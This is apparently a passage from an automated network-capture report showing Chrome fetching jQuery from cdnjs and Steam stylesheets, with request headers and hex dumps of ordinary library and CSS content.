2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 20 29 20 7b 0a 09 09 09 09 73 65 74 5b 20 69 20 5d 5b 20 31 20 5d 2e 61 70 70 6c 79 28 20 69 6e 73 74 61 6e 63 65 2e 65 6c 65 6d 65 6e 74 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 7d 3b 0a 0a 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 57 69 64 67 65 74 20 31 2e 31 31 2e 33 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 68 Data Ascii: ) {set[ i ][ 1 ].apply( instance.element, args );}}}};/! jQuery UI Widget 1.11.3 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * h
2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 7c 7c 20 7b 7d 3b 0a 09 65 78 69 73 74 69 6e 67 43 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 3b 0a 09 63 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6f 70 74 69 6f 6e 73 2c 20 65 6c 65 6d 65 6e 74 20 29 20 7b 0a 09 09 2f 2f 20 61 6c 6c 6f 77 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 20 77 69 74 68 6f 75 74 20 22 6e 65 77 22 20 6b 65 79 77 6f 72 64 0a 09 09 69 66 20 28 20 21 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 6e 65 77 20 63 6f 6e 73 74 72 Data Ascii: $[ namespace ] = $[ namespace ] \|\| {};existingConstructor = $[ namespace ][ name ];constructor = $[ namespace ][ name ] = function( options, element ) {// allow instantiation without "new" keywordif ( !this._createWidget ) {return new constr
2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 5f 73 75 70 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 3b 0a 09 09 09 09 7d 2c 0a 09 09 09 09 5f 73 75 70 65 72 41 70 70 6c 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 61 72 67 73 20 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 09 7d 3b 0a 09 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 76 61 72 20 5f 5f 73 75 70 65 72 20 3d 20 74 68 69 73 2e 5f 73 75 70 65 72 Data Ascii: n() {var _super = function() {return base.prototype[ prop ].apply( this, arguments );},_superApply = function( args ) {return base.prototype[ prop ].apply( this, args );};return function() {var __super = this._super
2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 20 63 68 69 6c 64 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 0a 09 09 09 2f 2f 20 72 65 64 65 66 69 6e 65 20 74 68 65 20 63 68 69 6c 64 20 77 69 64 67 65 74 20 75 73 69 6e 67 20 74 68 65 20 73 61 6d 65 20 70 72 6f 74 6f 74 79 70 65 20 74 68 61 74 20 77 61 73 0a 09 09 09 2f 2f 20 6f 72 69 67 69 6e 61 6c 6c 79 20 75 73 65 64 2c 20 62 75 74 20 69 6e 68 65 72 69 74 20 66 72 6f 6d 20 74 68 65 20 6e 65 77 20 76 65 72 73 69 6f 6e 20 6f 66 20 74 68 65 20 62 61 73 65 0a 09 09 09 24 2e 77 69 64 67 65 74 28 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 73 70 61 63 65 20 2b 20 22 2e 22 20 2b 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 4e 61 6d 65 2c 20 63 6f 6e 73 74 72 75 63 74 6f 72 2c 20 63 68 69 6c 64 2e 5f 70 72 6f 74 6f 20 29 3b 0a Data Ascii: child.prototype;// redefine the child widget using the same prototype that was// originally used, but inherit from the new version of the base$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49729	104.17.25.14	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	520	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:20 UTC	931	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:20 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 253683 Expires: Fri, 26 Sep 2025 12:08:20 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m60JDRJGyV4KGtz%2BtXaRyVDfo4g6I7gbGg3PK0558wevdIUJy85uGbF9GYIyMiQDnh1pLucHdE9wxtGop7kcVCVRIXkqELV%2BuEx15tHIf1DNzVOCIlsU9QZjkZo%2BZGekn3KTeO3%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ce589485b550f4b-EWR
2024-10-06 12:08:20 UTC	438	IN	Data Raw: 37 62 66 62 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 7bfb/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 67 3d 74 2e 63 6f 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 7d 2c 63 3d 7b 74 79 70 65 3a 21 30 2c 73 72 63 3a 21 30 2c 6e 6f 6e 63 65 3a 21 30 2c 6e 6f 4d 6f 64 75 6c 65 3a Data Ascii: g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 28 6c 3d 61 Data Ascii: .pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 30 2c 61 3d 5b 5d 3b 69 66 28 64 28 65 29 29 66 6f 72 28 72 3d Data Ascii: ,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(d(e))for(r=
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 49 2b 22 29 22 29 2c 54 41 47 3a 6e 65 Data Ascii: Exp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:ne
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 21 74 7c 7c 31 21 3d 3d 70 26 26 39 21 3d 3d 70 26 26 31 31 21 3d 3d 70 29 Data Ascii: ={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string"!=typeof t\|\|!t\|\|1!==p&&9!==p&&11!==p)
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 72 6e 2d 31 3b 72 65 74 75 72 6e 20 65 3f 31 Data Ascii: ild(t),t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 28 43 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 2c 64 2e 67 65 74 42 79 49 64 3d 63 Data Ascii: e(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=c
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d 27 27 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 64 3d 27 27 3e 3c 2f 6f 70 74 69 6f 6e 3e 3c 2f 73 65 6c 65 Data Ascii: ypeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selected=''></option></sele
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 26 6e 65 77 20 52 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 26 26 31 36 26 65 2e 63 6f Data Ascii: &new RegExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	564	OUT	GET /public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:20 UTC	338	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "Rc2hpzg2Ex3T" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=8107349 Expires: Wed, 08 Jan 2025 08:10:49 GMT Date: Sun, 06 Oct 2024 12:08:20 GMT Content-Length: 2646 Connection: close
2024-10-06 12:08:20 UTC	2646	IN	Data Raw: 2f 2a 0d 0a 20 46 6f 6e 74 3a 20 09 09 4d 6f 74 69 76 61 20 53 61 6e 73 0d 0a 20 55 52 4c 3a 20 09 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 2e 70 68 70 3f 73 6b 75 3d 54 32 39 38 32 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 4e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 64 65 73 69 67 6e 65 72 2f 32 39 33 2f 6e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 43 6f 70 79 72 69 67 68 74 3a 09 43 6f 70 79 72 69 67 68 74 20 20 32 30 31 31 20 62 79 20 52 6f 64 72 69 67 6f 20 53 61 69 61 6e 69 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 20 56 65 72 73 69 6f 6e 3a 20 09 31 Data Ascii: /* Font: Motiva Sans URL: http://www.youworkforthem.com/product.php?sku=T2982 Foundry: Niramekko Foundry: http://www.youworkforthem.com/designer/293/niramekko Copyright:Copyright 2011 by Rodrigo Saiani. All rights reserved. Version: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49728	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	566	OUT	GET /public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:21 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "cNFo_SNYcn7k" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 12:08:21 GMT Date: Sun, 06 Oct 2024 12:08:21 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:21 UTC	15992	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 09 2f 2a 20 53 79 73 74 65 6d 20 67 72 65 79 73 20 2a 2f 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 65 73 74 47 72 65 79 3a 20 23 44 43 44 45 44 46 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 65 72 47 72 65 79 3a 20 23 42 38 42 43 42 46 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 47 72 65 79 3a 20 23 38 42 39 32 39 41 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 47 72 65 79 3a 20 23 36 37 37 30 37 42 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 47 72 65 79 3a 20 23 33 44 34 34 35 30 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 65 72 47 72 65 79 3a 20 23 32 33 32 36 32 45 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 65 73 74 47 72 65 79 3a Data Ascii: 0000C000:root {/* System greys */--gpSystemLightestGrey: #DCDEDF;--gpSystemLighterGrey: #B8BCBF;--gpSystemLightGrey: #8B929A;--gpSystemGrey: #67707B;--gpSystemDarkGrey: #3D4450;--gpSystemDarkerGrey: #23262E;--gpSystemDarkestGrey:
